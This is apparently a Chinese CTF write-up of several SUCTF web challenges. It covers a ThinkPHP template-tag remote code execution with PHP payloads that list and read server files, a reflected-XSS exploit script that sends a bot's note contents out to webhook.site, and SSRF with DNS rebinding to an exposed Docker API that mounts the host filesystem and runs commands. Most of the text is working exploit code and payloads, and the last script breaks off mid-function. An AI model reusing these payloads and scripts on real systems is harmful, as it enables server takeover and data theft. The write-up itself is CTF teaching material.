后台登录不能直接把明文用户名密码发过去,需要走前端那套编码。

4.1 前端登录逻辑

登录页里有这几个关键点:

  • src/App/Tpl/Admin/Default/Public/login.html:246
  • src/App/Tpl/Admin/Default/Public/login.html:317
  • src/App/Tpl/Admin/Default/Public/login.html:323

对应逻辑是:

  1. username 不是明文提交,而是 CryptoJS.MD5(username).toString()
  2. password 经过 SafeCode() 编码
  3. 然后 POST 到 /index.php/Admin/public/checkLogin/

登录页缓存里也能看到相同逻辑:

  • admin_login_page.html:257
  • admin_login_page.html:328
  • admin_login_page.html:334

4.2 SafeCode 的原理

SafeCode() 的 JS 逻辑是:

  1. encodeURIComponent(password)
  2. btoa(...)
  3. 前后各拼接 6 位随机字符

服务端对应解码:

  • src/App/Core/Extend/Function/ydLib.php:2196
function yd_safe_decode($str){
    $strLen = strlen($str);
    if($strLen<13) return '';
    $start = 6;
    $end = $strLen - 2 * $start;
    $str = substr($str, $start, $end);
    $str = urldecode(base64_decode($str));
    return $str;
}

4.3 服务端登录校验

登录处理在:

  • src/App/Lib/Action/Admin/PublicAction.class.php:48

关键点:

  1. 用户名先经过 getRealAdminName() 还原。
  2. 密码经过 yd_safe_decode() 解码。
  3. 当失败次数大于 5 时,需要验证码。

用户名还原逻辑在:

  • src/App/Lib/Model/Admin/AdminModel.class.php:168

也就是把提交的 32 位 md5 和所有后台用户名逐个比较。

实际登录时提交的是:

username = md5("admin") = 21232f297a57a5a743894a0e4a801fc3
password = SafeCode("SUCTF@123!@#20260813")

验证码我这里直接用 tesseract 做 OCR 识别,放大后二值化即可,命中率足够高。

5. 第三段链: Decoration/saveCode -> 模板执行 -> PHP 执行

这一段才是本题真正的“远端拿 flag”核心。

5.1 saveCode 把内容写到哪里

关键代码在:

  • src/App/Lib/Action/Admin/DecorationAction.class.php:930
  • src/App/Lib/Action/Admin/DecorationAction.class.php:972

getCode() / saveCode() 都操作当前主题下的:

<ThemePath>/Public/code.html

核心逻辑:

$TemplatePath = $this->_getTemplatePath($_POST['PageUrl']);
$fileName = "{$TemplatePath}Public/code.html";
...
$result = file_put_contents($fileName, $content);

5.2 saveCode 为什么看起来过滤了,实际上还是能 RCE

saveCode() 的过滤逻辑主要有三层:

  1. strip_tags($content, '<style><script><br>')
  2. YdInput::checkTemplateContent($content)
  3. 固定黑名单: <php>, </php>, {:, {$, sqllist

对应源码:

  • src/App/Lib/Action/Admin/DecorationAction.class.php:972
  • src/App/Common/common.php:490

checkTemplateContent() 的正则是:

$pattern = '/{[$:]{1}([\s\S]+?)}/i';

它只检查两类模板标签:

  • {$...}
  • {:...}

也就是说,它根本没有检查 Think 模板的第三类标签:

  • {~ ... }

5.3 模板引擎明确支持 {~ ... }

关键代码在:

  • src/App/Core/Lib/Template/ThinkTemplate.class.php:491
if('$' == $flag){
    return $this->parseVar($name);
}elseif(':' == $flag){
    return  '<?php echo '.$name.';?>';
}elseif('~' == $flag){
    return  '<?php '.$name.';?>';
}

这里已经写得非常直白了:

  • {$...} -> 变量输出
  • {:...} -> <?php echo ...; ?>
  • {~...} -> <?php ...; ?>

所以 {~ ... } 本质上就是直接执行 PHP 语句。

5.4 为什么写进 code.html 后一定会跑到前台

默认主题首页页脚:

  • src/App/Tpl/Home/Default/Public/footer.html:178
<include file="Public:code" /><gotop id="yd-gotop"  />

也就是说,只要访问首页,Public/code.html 就一定会被包含进模板。

saveCode() 写入的正是这个文件。

因此完整链条就是:

后台登录
-> Decoration/saveCode 写 Public/code.html
-> 前台首页 include Public:code
-> ThinkTemplate 解析 {~ ... }
-> 编译成 <?php ...; ?>
-> 远端执行 PHP

6. 远端 canary 验证

先别急着读 flag,先做一个无害 canary 验证。

我用的 payload:

<script>var yd_rce_canary={~ echo json_encode(md5('yd_rce_poc_20260315')); };</script>

写入后访问首页源码,实际回显:

6eda96e98e36912b86b37d4728171ab9

这正是:

md5("yd_rce_poc_20260315")

说明 {~ ... } 在远端确实被执行了,不是理论链,而是已经远端坐实。

7. 直接拿 flag

7.1 先枚举根目录文件

先写一个 payload 枚举根目录文件:

<script>var yd_root_files={~ echo json_encode(array_values(array_filter(glob('/*'),'is_file'))); };</script>

实测拿到的根目录文件是:

/b2b27f1a12e1f4bcb3927024bdb92531.txt
/flag

其中 /flag 不是最终 flag 内容来源。

7.2 读取目标文件

再用下面的 payload 读文件:

<script>var yd_read={~ $p='/b2b27f1a12e1f4bcb3927024bdb92531.txt'; ob_start(); @readfile($p); $o=ob_get_clean(); echo json_encode($o); };</script>

成功回显:

SUCTF{y0ud1an_c00l_LiHua}

8. 一些容易踩坑的点

8.1 saveCode() 还会额外拦 {${:

所以 payload 里如果刚好出现 {$foo} 这种模板变量写法,会直接保存失败。

我最后统一用这种形式写 payload:

{~ $a=...; $b=...; echo json_encode(...); }

也就是:

  • {~ ... }
  • 块语句内部的 $ 前面保留空格
  • 不出现 {$ / {:
  • 尽量不要在 {~ ... } 内写带花括号的 if (...) {} / foreach (...) {} 这类块语句

最后这一点也很重要。模板标签本身就是用 {...} 包起来的,里面再出现 PHP 的块级花括号,容易把模板解析器搞乱,最终把首页编译成报错页。实战里更稳的写法是:

  • 尽量用纯函数表达式
  • 或者只用不带块花括号的简单语句

8.2 /flag 文件存在,但不是最终答案

这题很坑的一点就是根目录下的 /flag 虽然存在,但内容为空。

真正的 flag 在根目录的随机命名文件里:

/b2b27f1a12e1f4bcb3927024bdb92531.txt

所以不要在读到 /flag 空内容后就停。

8.3 利用完记得恢复 code.html

我每次都是:

  1. getCode 取原始内容
  2. saveCode 写 payload
  3. 拿到结果后恢复原始 code.html

这样不容易在前台留下明显痕迹。

9. 可直接拿 flag 的脚本

我把完整自动化脚本落在了:

  • get_flag_via_decoration_rce.py

脚本功能:

  1. 优先复用 admin_live_cookie_auto.txt 里的后台会话
  2. 会话失效时自动重新登录
  3. 自动 OCR 识别验证码
  4. 自动备份原始 code.html
  5. 自动做 canary 验证
  6. 自动枚举根目录文件
  7. 自动逐个读取根目录文件并匹配 flag
  8. 自动恢复原始 code.html

9.1 依赖

  • Python 3
  • requests
  • Pillow
  • tesseract

9.2 直接运行

python get_flag_via_decoration_rce.py

正常输出类似:

FLAG_PATH=/b2b27f1a12e1f4bcb3927024bdb92531.txt
FLAG=SUCTF{y0ud1an_c00l_LiHua}

9.3 常用参数

python get_flag_via_decoration_rce.py --base-url http://101.245.108.250:10015
python get_flag_via_decoration_rce.py --cookie-file admin_live_cookie_auto.txt
python get_flag_via_decoration_rce.py --skip-canary

10. 最终链条总结

完整利用链可以概括为:

购物车 SQLi
-> 盲注拿到后台真实密码
-> 后台登录
-> Decoration/saveCode 写入 code.html
-> 利用 Think 模板的 {~...} 执行标签
-> 首页 footer include Public:code
-> 远端执行 PHP
-> 枚举根目录文件
-> 读取随机命名 txt 文件
-> 拿到 flag

最终 flag:

SUCTF{y0ud1an_c00l_LiHua}

SU_Thief

爆破密码

image-20260316103303712

得到密码1q2w3e

image-20260316103404250

搜索相关信息得到CVE

image-20260316103449099

拿到shell,反弹

image-20260316103507771

image-20260316103628084

下载LinEnum.sh进行自动探测,发现运行了Caddy Admin API

image-20260316103931381

注入payload,得到flag

image-20260316104042189

SU_Note

这两道对经常打外国比赛的师傅应该不难,LACTF就有一道类似的题目

题目信息

  • 题目名:SU_Note
  • 类型:Web
  • 目标站点:http://101.245.81.83:10003/
  • 已知提示:
    • flag 在 bot 的 notes 里
    • challenge container 在 127.0.0.1:80
    • flag 形如 SUCTF{0100011110000110}
    • 不要爆破密码

最终 flag:

SUCTF{110110100}

功能点梳理

注册并登录后,站点主要有 3 个功能:

  1. 笔记列表 /
  2. 搜索页 /search.php
  3. XSS Bot /bot/

其中 bot 会访问我们提交的 URL,但页面上的 最近一次 Bot 输出 基本总是 BOT_OK,所以这题的关键不是让 bot 把页面内容直接显示出来,而是想办法借助 bot 的浏览器上下文,把数据主动外带出去。

核心漏洞

  1. /search.php 存在反射型 XSS

访问如下 URL:

/search.php?q=%3Csvg/onload=alert(1)%3E

返回页面中会出现这样一段脚本:

<script>
(() => {
    const searchQuery = "<svg/onload=alert(1)>";
    const isZeroResult = true;
    ...
})();
</script>

也就是说,参数 q 被直接插入进了 <script> 中的 JavaScript 字符串,而且没有做 JS 层面的转义。

所以可以直接用:

</script><script>...</script>

打断原来的脚本并执行任意 JS。

2. 真正有用的执行上下文是 127.0.0.1:80

直接让 bot 访问外网站点 http://101.245.81.83:10003/search.php?q=...,虽然也会返回 BOT_OK,但并不能拿到有价值的数据。

真正的突破点在题目提示:

The challenge container is available at 127.0.0.1:80.

把 payload 改成:

http://127.0.0.1:80/search.php?q=<payload>

再让 bot 访问,就会在 bot 的内网登录态下执行 XSS。

我们用 webhook 做了验证,请求来自:

  • IP = 101.245.81.83
  • User-Agent = HeadlessChrome/146
  • Origin = http://127.0.0.1

说明 bot 确实是在内网 127.0.0.1 这个 origin 上执行了我们的脚本。

3. document.cookie 不是突破口

最开始也试过直接把 document.cookie 带到 webhook:

(new Image()).src = "https://webhook.site/...?c=" + encodeURIComponent(document.cookie)

结果 webhook 能收到请求,但 c= 为空。

这说明:

  • 要么 cookie 是 HttpOnly
  • 要么 flag 不在可读 cookie 里

但这并不影响利用,因为 XSS 仍然可以发起同源请求读取 bot 当前能访问到的页面内容。

利用思路

Step 1. 用 XSS 在 bot 上执行同步同源请求

这一步不能用普通异步 fetch() 当核心逻辑,因为 bot 很可能在页面刚加载完后就结束访问,异步回调不一定来得及执行。

更稳定的方式是同步 XMLHttpRequest

var x = new XMLHttpRequest();
x.open('GET', '/', false);
x.send();
var html = x.responseText;

这样脚本在当前执行栈里就能拿到页面内容。

Step 2. 读取 bot 首页,确定笔记入口

先同步请求 /,发现:

  • 页面标题是 笔记列表
  • 笔记数量是 1

继续把首页里 ?note= 附近的 HTML 片段发到 webhook,得到:

<a class="note-item active" href="/?note=__system_flag_note__">
    <p class="note-title">flag</p>

也就是说,这题不是随机 note id,而是有一个固定的系统笔记:

/?note=__system_flag_note__

Step 3. 直接读取系统 flag 笔记

接着在 XSS 中同步请求:

/?note=__system_flag_note__

然后在返回 HTML 中正则提取:

/SUCTF\{[01]+\}/

再通过 GET 请求打到 webhook 即可。

最终 Payload 逻辑

精简后的核心 JS 如下:

try {
    function send(k, v) {
        var i = new Image();
        i.src = 'https://webhook.site/<token>?k=' + encodeURIComponent(k) +
                '&v=' + encodeURIComponent(v);
        document.body.appendChild(i);
    }

    var x = new XMLHttpRequest();
    x.open('GET', '/?note=__system_flag_note__', false);
    x.send();

    var m = x.responseText.match(/SUCTF\{[01]+\}/);
    if (m) {
        send('flag', m[0]);
    }
} catch (e) {
    send('err', String(e));
}

再把它塞进:

http://127.0.0.1:80/search.php?q=</script><script>PAYLOAD</script>

然后提交给 /bot/ 即可。

完整利用链

  1. 注册并登录普通账号
  2. 打开 /bot/
  3. 构造 http://127.0.0.1:80/search.php?q=... 的反射型 XSS URL
  4. 让 bot 访问这个 URL
  5. XSS 在 http://127.0.0.1/ 的 bot 登录态下执行
  6. 同源读取 /?note=__system_flag_note__
  7. 提取 SUCTF{...}
  8. 通过 webhook 外带出来

脚本

exp.py

#!/usr/bin/env python3
import argparse
import html
import json
import random
import re
import string
import sys
import time
import urllib.parse

import requests

def rand_text(prefix, length):
    alphabet = string.ascii_lowercase + string.digits
    return prefix + "".join(random.choice(alphabet) for _ in range(length))

def extract_input_value(page, name):
    pattern = rf'<input[^>]*name="{re.escape(name)}"[^>]*value="([^"]*)"'
    match = re.search(pattern, page)
    if not match:
        raise RuntimeError(f"failed to find input: {name}")
    return html.unescape(match.group(1))

def extract_flash(page):
    match = re.search(r'<div class="flash[^"]*">(.+?)</div>', page, re.S)
    if not match:
        return ""
    text = re.sub(r"<[^>]+>", "", match.group(1))
    return html.unescape(text).strip()

def extract_output(page):
    match = re.search(r'<textarea[^>]*id="output"[^>]*>(.*?)</textarea>', page, re.S)
    if not match:
        return ""
    return html.unescape(match.group(1)).strip()

def create_webhook(session):
    response = session.post("https://webhook.site/token", timeout=20)
    response.raise_for_status()
    data = response.json()
    token = data["uuid"]
    return token, f"https://webhook.site/{token}"

def poll_webhook(session, token, marker, timeout_seconds=60, interval=2):
    deadline = time.time() + timeout_seconds
    url = f"https://webhook.site/token/{token}/requests?sorting=newest"
    headers = {"Accept": "application/json"}
    while time.time() < deadline:
        response = session.get(url, headers=headers, timeout=20)
        response.raise_for_status()
        data = response.json()["data"]
        matches = [item for item in data if item.get("query", {}).get("m") == marker]
        if matches:
            return matches
        time.sleep(interval)
    return []

def register(session, base_url, username, password):
    response = session.get(urllib.parse.urljoin(base_url, "/register.php"), timeout=15)
    response.raise_for_status()
    csrf = extract_input_value(response.text, "_csrf")
    response = session.post(
        urllib.parse.urljoin(base_url, "/register.php"),
        data={"_csrf": csrf, "username": username, "password": password},
        timeout=15,
        allow_redirects=False,
    )
    if response.status_code not in (200, 302):
        raise RuntimeError(f"register failed: {response.status_code}")

def login(session, base_url, username, password):
    response = session.get(urllib.parse.urljoin(base_url, "/login.php"), timeout=15)
    response.raise_for_status()
    csrf = extract_input_value(response.text, "_csrf")
    action = extract_input_value(response.text, "action")
    response = session.post(
        urllib.parse.urljoin(base_url, "/login.php"),
        data={
            "_csrf": csrf,
            "action": action,
            "username": username,
            "password": password,
        },
        timeout=15,
        allow_redirects=False,
    )
    if response.status_code not in (200, 302):
        raise RuntimeError(f"login failed: {response.status_code}")

def build_payload(webhook_url, marker):
    js = (
        "try{"
        "function S(k,v){"
        f"var i=new Image();i.src='{webhook_url}?m={marker}&k='+encodeURIComponent(k)+'&v='+encodeURIComponent(v);"
        "document.body.appendChild(i);"
        "}"
        "function G(u){"
        "var x=new XMLHttpRequest();"
        "x.open('GET',u,false);"
        "x.send();"
        "return x.responseText;"
        "}"
        "function F(t){"
        "var a=t.indexOf('SUCTF{');"
        "if(a<0)return '';"
        "var b=t.indexOf('}',a);"
        "return b>=0?t.slice(a,b+1):'';"
        "}"
        "var note=G('/?note=__system_flag_note__');"
        "var flag=F(note);"
        "if(!flag){"
        "var home=G('/');"
        "var id=((home.split('?note=')[1]||'').split('\"')[0]||'');"
        "if(id){flag=F(G('/?note='+id));S('id',id);}"
        "}"
        "if(flag){S('flag',flag);}"
        "else{S('status','flag-not-found');S('snippet',note.slice(0,300));}"
        "}catch(e){"
        f"var i=new Image();i.src='{webhook_url}?m={marker}&k=err&v='+encodeURIComponent(String(e));"
        "document.body.appendChild(i);"
        "}"
    )
    injected = "</script><script>" + js + "</script>"
    query = urllib.parse.quote(injected, safe="")
    return f"http://127.0.0.1:80/search.php?q={query}"

def submit_bot(session, base_url, target_url):
    bot_url = urllib.parse.urljoin(base_url, "/bot/")
    while True:
        response = session.get(bot_url, timeout=15)
        response.raise_for_status()
        csrf = extract_input_value(response.text, "_csrf")
        response = session.post(
            bot_url,
            data={"_csrf": csrf, "action": "visit", "url": target_url},
            timeout=45,
        )
        response.raise_for_status()
        flash = extract_flash(response.text)
        output = extract_output(response.text)
        print(f"[+] bot flash: {flash or '(none)'}")
        print(f"[+] bot output: {output or '(empty)'}")

        if "请求过于频繁" not in flash:
            return

        wait_match = re.search(r"剩余\s*(\d+)\s*秒", flash)
        wait_seconds = int(wait_match.group(1)) + 1 if wait_match else 61
        print(f"[!] rate limited, sleep {wait_seconds}s")
        time.sleep(wait_seconds)

def solve(base_url, webhook_token=None):
    base_url = base_url.rstrip("/") + "/"
    session = requests.Session()

    if webhook_token:
        webhook_url = f"https://webhook.site/{webhook_token}"
        token = webhook_token
    else:
        token, webhook_url = create_webhook(session)

    print(f"[+] webhook url: {webhook_url}")

    username = rand_text("u", 8)
    password = rand_text("P", 16)
    print(f"[+] register user: {username}")

    register(session, base_url, username, password)
    login(session, base_url, username, password)

    marker = rand_text("m", 8)
    target_url = build_payload(webhook_url, marker)
    print(f"[+] marker: {marker}")
    print(f"[+] target url length: {len(target_url)}")

    submit_bot(session, base_url, target_url)

    print("[+] polling webhook ...")
    matches = poll_webhook(session, token, marker)
    if not matches:
        raise RuntimeError("no webhook callback received")

    flag = None
    for item in matches:
        query = item.get("query", {})
        print("[+] callback:", json.dumps(query, ensure_ascii=False))
        if query.get("k") == "flag":
            flag = query.get("v")

    if not flag:
        raise RuntimeError("flag callback not found")

    print(f"[+] FLAG: {flag}")
    return flag

def main():
    parser = argparse.ArgumentParser(description="SU_Note exploit")
    parser.add_argument(
        "--target",
        default="http://101.245.81.83:10003/",
        help="challenge base url",
    )
    parser.add_argument(
        "--webhook-token",
        default="",
        help="optional existing webhook.site token",
    )
    args = parser.parse_args()

    try:
        solve(args.target, args.webhook_token or None)
    except Exception as exc:
        print(f"[-] {exc}", file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    main()
  • 自动创建 webhook.site token
  • 自动注册登录
  • 自动提交 bot payload
  • 自动轮询 webhook
  • 自动输出 flag

默认直接运行:

python exp.py

如果想指定目标:

python exp.py --target http://101.245.81.83:10003/

http://101.245.81.83:10004/

结果

SUCTF{110110100}

复仇也是用这个脚本打

结果:

SUCTF{1101101010}

SU_uri

题目信息

  • 题目:SU_uri
  • 类型:Web
  • 分值:1000PT
  • 目标:http://101.245.108.250:10012/

最终结论

这题的完整利用链是:

SSRF -> DNS rebinding -> localhost Docker API -> 挂载宿主机 -> 执行 /readflag

最终 flag:

SUCTF{SsRF_tO_rC3_by_d0CkEr_15_s0_FUn}

1. 首页分析

首页是一个很简单的 webhook 调试面板,用户可以输入:

  • 一个目标 URL
  • 一段 JSON 字符串

前端会把这两项数据提交给 /api/webhook

前端发送格式如下:

POST /api/webhook
Content-Type: application/json

{"url":"http://target/","body":"{\"event\":\"ping\"}"}

这说明后端会根据我们给出的 url 发起服务端请求,因此它本质上就是一个 SSRF 入口。


2. 确认 /api/webhook 的行为

使用 httpbin 做基础验证:

外层请求:

POST /api/webhook
Content-Type: application/json

请求体:

{
  "url": "http://httpbin.org/post",
  "body": "{\"event\":\"ping\"}"
}

返回中可以看到:

  • message: forwarded
  • target_status: 200
  • target_body 中包含目标站点的响应体

同时还能看到:

  • 服务端真的替我们向外发起了请求
  • 出网 IP 是目标服务器自身
  • User-AgentGo-http-client/1.1

因此可以确定:

  • 后端大概率是 Go
  • 这是一个可控的 SSRF 点
  • 目标响应内容会被直接回显,非常适合黑盒分析

3. SSRF 过滤逻辑

继续尝试访问敏感地址:

  • http://127.0.0.1:10012/
  • http://localhost:10012/
  • http://10.0.0.1/
  • http://172.16.0.1/
  • http://192.168.0.1/
  • http://169.254.169.254/latest/meta-data/

服务端会明确回显错误:

blocked IP: 127.0.0.1
blocked host: localhost
blocked IP: 10.0.0.1
blocked IP: 169.254.169.254

这说明过滤逻辑至少做了:

  • 只允许 http/https
  • 会解析域名
  • 若解析结果是回环、内网、链路本地等地址则拦截

进一步测试:

  • 127.0.0.1.nip.io
  • lvh.me
  • localtest.me

这些也会被拦截,说明它不是只做字符串黑名单,而是会真的做 DNS 解析后再判断 IP。


4. 为什么会想到 DNS rebinding

题目名叫 SU_uri,而且黑盒上已经看到:

  • 它确实会解析 URL
  • 它确实会检查解析结果
  • 但尚不确定它在“校验 URL”和“真正发请求”时是否复用同一次解析结果

如果后端流程类似:

  1. LookupHost(url.Host)
  2. 判断解析结果是否为内网 IP
  3. 再把原始 URL 交给 http.Client.Post(...)

那么 http.Client 很可能会再次解析域名。

这就是典型 TOCTOU:

  • 检查时解析一次
  • 使用时又解析一次

只要第一次解析是公网 IP、第二次解析变成 127.0.0.1,就能绕过过滤。


5. 用 rbndr.us 验证二次解析

这里使用公开的 DNS rebinding 服务 rbndr.us

目标服务器公网 IP:

101.245.108.250

转成十六进制:

65f56cfa

127.0.0.1 转成十六进制:

7f000001

于是构造 rebinding 域名:

65f56cfa.7f000001.rbndr.us

它会在多个 A 记录之间切换,对应:

  • 101.245.108.250
  • 127.0.0.1

验证请求体

发给题目站点的请求体是:

{
  "url": "http://65f56cfa.7f000001.rbndr.us:10012/",
  "body": "{}"
}

结果会出现两种情况:

  • 有时返回正常页面
  • 有时返回 blocked IP: 127.0.0.1

这说明过滤阶段和请求阶段的解析结果并不总是一致。

为了更硬地证明“请求阶段真的命中了 localhost”,继续构造:

01010101.7f000001.rbndr.us

它对应:

  • 1.1.1.1
  • 127.0.0.1

对应请求体:

{
  "url": "http://01010101.7f000001.rbndr.us:10012/",
  "body": "{}"
}

最终可以看到:

dial tcp 127.0.0.1:10012: connect: connection refused

这就证明:

  • 请求阶段确实可能被 rebinding 到 127.0.0.1
  • 目标服务自己并不监听在 127.0.0.1:10012
  • 后续可以借此扫描本地服务

6. 通过 rebinding 扫描 localhost

继续把 URL 换成:

http://65f56cfa.7f000001.rbndr.us:<port>/

然后多次重试,直到命中本地解析结果。

其中关键发现是:

  • 127.0.0.1:2375 有 HTTP 响应
  • 127.0.0.1:8080 也有响应,但不是最终拿 flag 的关键

2375 是一个非常敏感的端口,因为它通常对应 Docker Remote API。


7. 确认 127.0.0.1:2375 是 Docker API

尝试调用 Docker 的典型接口:

外层 HTTP 请求

POST /api/webhook
Content-Type: application/json

外层请求体

{
  "url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/create",
  "body": "{\"Image\":\"busybox\",\"Cmd\":[\"id\"]}"
}

这里 body 字段是一个字符串,它会被目标后端原样作为 Docker API 的请求体发出去。

内层真正到 Docker API 的请求体是:

{
  "Image": "busybox",
  "Cmd": ["id"]
}

如果命中了本地 Docker API,会回显类似:

{"message":"No such image: busybox:latest"}

这已经足够说明:

  • 本地 2375 确实是 Docker API
  • 后续可以直接通过 Docker API 完成宿主机文件访问

8. 利用 Docker API 获取宿主机文件

虽然 webhook 只支持 POST,但 Docker API 里仍然有足够多的关键接口也是 POST,已经够用了。

8.1 拉取镜像

先拉一个最轻量、最稳妥的镜像 busybox

外层请求体

{
  "url": "http://65f56cfa.7f000001.rbndr.us:2375/images/create?fromImage=busybox&tag=latest",
  "body": ""
}

这里的内层请求相当于:

POST /images/create?fromImage=busybox&tag=latest

不需要 body,所以 body 直接为空字符串。

成功时会看到类似:

Pulling from library/busybox
Status: Downloaded newer image for busybox:latest

8.2 创建挂载宿主机根目录的容器

这是最关键的一步:把宿主机根目录 / 只读挂到容器里的 /host

外层请求体

{
  "url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/create?name=codex-xxxxxxxx",
  "body": "{\"Image\":\"busybox\",\"Cmd\":[\"sleep\",\"1000\"],\"Tty\":true,\"HostConfig\":{\"Binds\":[\"/:/host:ro\"]}}"
}

内层 Docker 请求体

{
  "Image": "busybox",
  "Cmd": ["sleep", "1000"],
  "Tty": true,
  "HostConfig": {
    "Binds": ["/:/host:ro"]
  }
}

这里的含义是:

  • 使用 busybox
  • 容器启动后执行 sleep 1000
  • 分配 TTY
  • 把宿主机 / 挂载到容器 /host

成功后 Docker 会返回一个容器 ID。

8.3 启动容器

拿到 container_id 后继续启动:

外层请求体

{
  "url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/<container_id>/start",
  "body": "{}"
}

这里 body 写成 {} 就足够了。

8.4 创建 exec 来查找 flag

先在容器里执行一条搜索命令:

find /host -maxdepth 3 -iname '*flag*' 2>/dev/null | head -50

外层请求体

{
  "url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/<container_id>/exec",
  "body": "{\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"Cmd\":[\"sh\",\"-c\",\"find /host -maxdepth 3 -iname '*flag*' 2>/dev/null | head -50\"]}"
}

内层 Docker 请求体

{
  "AttachStdout": true,
  "AttachStderr": true,
  "Tty": true,
  "Cmd": ["sh", "-c", "find /host -maxdepth 3 -iname '*flag*' 2>/dev/null | head -50"]
}

Docker 返回 exec_id 后,再启动这个 exec:

外层请求体

{
  "url": "http://65f56cfa.7f000001.rbndr.us:2375/exec/<exec_id>/start",
  "body": "{\"Detach\":false,\"Tty\":true}"
}

内层 Docker 请求体

{
  "Detach": false,
  "Tty": true
}

这样就能在回显里看到:

/host/flag
/host/readflag

9. 取 flag

9.1 先读取 /host/flag

先验证一下 /host/flag

创建 exec 的外层请求体

{
  "url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/<container_id>/exec",
  "body": "{\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"Cmd\":[\"sh\",\"-c\",\"cat /host/flag\"]}"
}

对应内层 Docker 请求体:

{
  "AttachStdout": true,
  "AttachStderr": true,
  "Tty": true,
  "Cmd": ["sh", "-c", "cat /host/flag"]
}

然后再启动 exec:

{
  "url": "http://65f56cfa.7f000001.rbndr.us:2375/exec/<exec_id>/start",
  "body": "{\"Detach\":false,\"Tty\":true}"
}

返回:

Flag is not here. executable /readflag to get it!

说明 /host/flag 是烟雾弹,真正要执行的是宿主机上的 /readflag

9.2 最终执行 /host/readflag

创建 exec 的外层请求体

{
  "url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/<container_id>/exec",
  "body": "{\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"Cmd\":[\"sh\",\"-c\",\"/host/readflag\"]}"
}

内层 Docker 请求体

{
  "AttachStdout": true,
  "AttachStderr": true,
  "Tty": true,
  "Cmd": ["sh", "-c", "/host/readflag"]
}

然后启动 exec:

{
  "url": "http://65f56cfa.7f000001.rbndr.us:2375/exec/<exec_id>/start",
  "body": "{\"Detach\":false,\"Tty\":true}"
}

最终 target_body 中返回:

SUCTF{SsRF_tO_rC3_by_d0CkEr_15_s0_FUn}

10. 把所有关键请求总结成一组模板

这题所有利用请求,本质上都遵循同一个模式:

外层 HTTP

POST /api/webhook
Content-Type: application/json

外层 JSON 模板

{
  "url": "http://<rebind_host>:2375<docker_api_path>",
  "body": "<stringified_json_or_empty_string>"
}

例如:

{
  "url": "http://65f56cfa.7f000001.rbndr.us:2375/containers/<container_id>/exec",
  "body": "{\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"Cmd\":[\"sh\",\"-c\",\"/host/readflag\"]}"
}

也就是说,这题不是直接和 Docker 通信,而是:

  1. 把 Docker API 请求包成 webhook 的请求体
  2. 交给题目后端代发
  3. 再从 target_body 里取回执行结果

11. 利用脚本

exploit.py

import argparse
import ipaddress
import json
import random
import string
import sys
import time
from urllib.parse import urlparse

import requests

class ExploitError(Exception):
    pass

def random_name(prefix="codex"):
    suffix = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
    return f"{prefix}-{suffix}"

def ip_to_hex(ip_text):
    ip_value = ipaddress.ip_address(ip_text)
    if ip_value.version != 4:
        raise ExploitError("only IPv4 targets are supported for automatic rebinding host generation")
    return "".join(f"{int(part):02x}" for part in ip_text.split("."))

class CloudHookExploit:
    def __init__(self, base_url, rebind_host=None, docker_port=2375, image="busybox", timeout=15):
        self.base_url = base_url.rstrip("/")
        self.api_url = f"{self.base_url}/api/webhook"
        self.timeout = timeout
        self.docker_port = docker_port
        self.image = image
        self.session = requests.Session()
        self.session.trust_env = False
        parsed = urlparse(self.base_url)
        self.base_host = parsed.hostname
        if not self.base_host:
            raise ExploitError("failed to parse base host from base URL")
        if rebind_host:
            self.rebind_host = rebind_host
        else:
            self.rebind_host = f"{ip_to_hex(self.base_host)}.7f000001.rbndr.us"
        self.container_id = None

    def log(self, message):
        print(f"[+] {message}", flush=True)

    def webhook_post(self, target_url, body="", timeout=None):
        response = self.session.post(
            self.api_url,
            json={"url": target_url, "body": body},
            timeout=timeout or self.timeout,
        )
        response.raise_for_status()
        return response.json()

    def retry_rebinding(self, path, body="", success=None, tries=80, timeout=None):
        target_url = f"http://{self.rebind_host}:{self.docker_port}{path}"
        last = None
        for attempt in range(1, tries + 1):
            try:
                result = self.webhook_post(target_url, body=body, timeout=timeout)
                last = result
                if success and success(result):
                    return result
                message = result.get("message", "")
                if "blocked IP: 127.0.0.1" in message:
                    time.sleep(0.2)
                    continue
                if "forward request failed" in message or "read target response failed" in message:
                    time.sleep(0.2)
                    continue
            except requests.RequestException as error:
                last = {"error": str(error)}
                time.sleep(0.2)
        raise ExploitError(f"rebinding retry exhausted for {path}: {json.dumps(last, ensure_ascii=False)}")

    @staticmethod
    def decode_target_body(result):
        target_body = result.get("target_body", "")
        if not target_body:
            raise ExploitError(f"target_body missing: {json.dumps(result, ensure_ascii=False)}")
        return json.loads(target_body)

    def pull_image(self):
        self.log(f"pulling image {self.image}:latest from local Docker API")

        def ok(result):
            if result.get("target_status") != 200:
                return False
            body = result.get("target_body", "")
            return any(token in body for token in ["Downloaded newer image", "Image is up to date", "Pulling from"])

        result = self.retry_rebinding(
            f"/images/create?fromImage={self.image}&tag=latest",
            body="",
            success=ok,
            timeout=25,
        )
        self.log("image pull succeeded")
        return result

    def create_container(self):
        container_name = random_name()
        self.log(f"creating container {container_name}")
        body = json.dumps(
            {
                "Image": self.image,
                "Cmd": ["sleep", "1000"],
                "Tty": True,
                "HostConfig": {"Binds": ["/:/host:ro"]},
            }
        )

        def ok(result):
            return result.get("target_status") == 201 and "target_body" in result

        result = self.retry_rebinding(
            f"/containers/create?name={container_name}",
            body=body,
            success=ok,
        )
        container = self.decode_target_body(result)
        self.container_id = container["Id"]
        self.log(f"container created: {self.container_id}")
        return self.container_id

    def start_container(self):
        if not self.container_id:
            raise ExploitError("container_id is not set")
        self.log("starting container")

        def ok(result):
            return result.get("target_status") in {204, 304}

        self.retry_rebinding(
            f"/containers/{self.container_id}/start",
            body="{}",
            success=ok,
        )
        self.log("container started")

    def exec_command(self, command):
        if not self.container_id:
            raise ExploitError("container_id is not set")
        self.log(f"executing command: {command}")
        create_body = json.dumps(
            {
                "AttachStdout": True,
                "AttachStderr": True,
                "Tty": True,
                "Cmd": ["sh", "-c", command],
            }
        )

        def create_ok(result):
            return result.get("target_status") == 201 and "target_body" in result

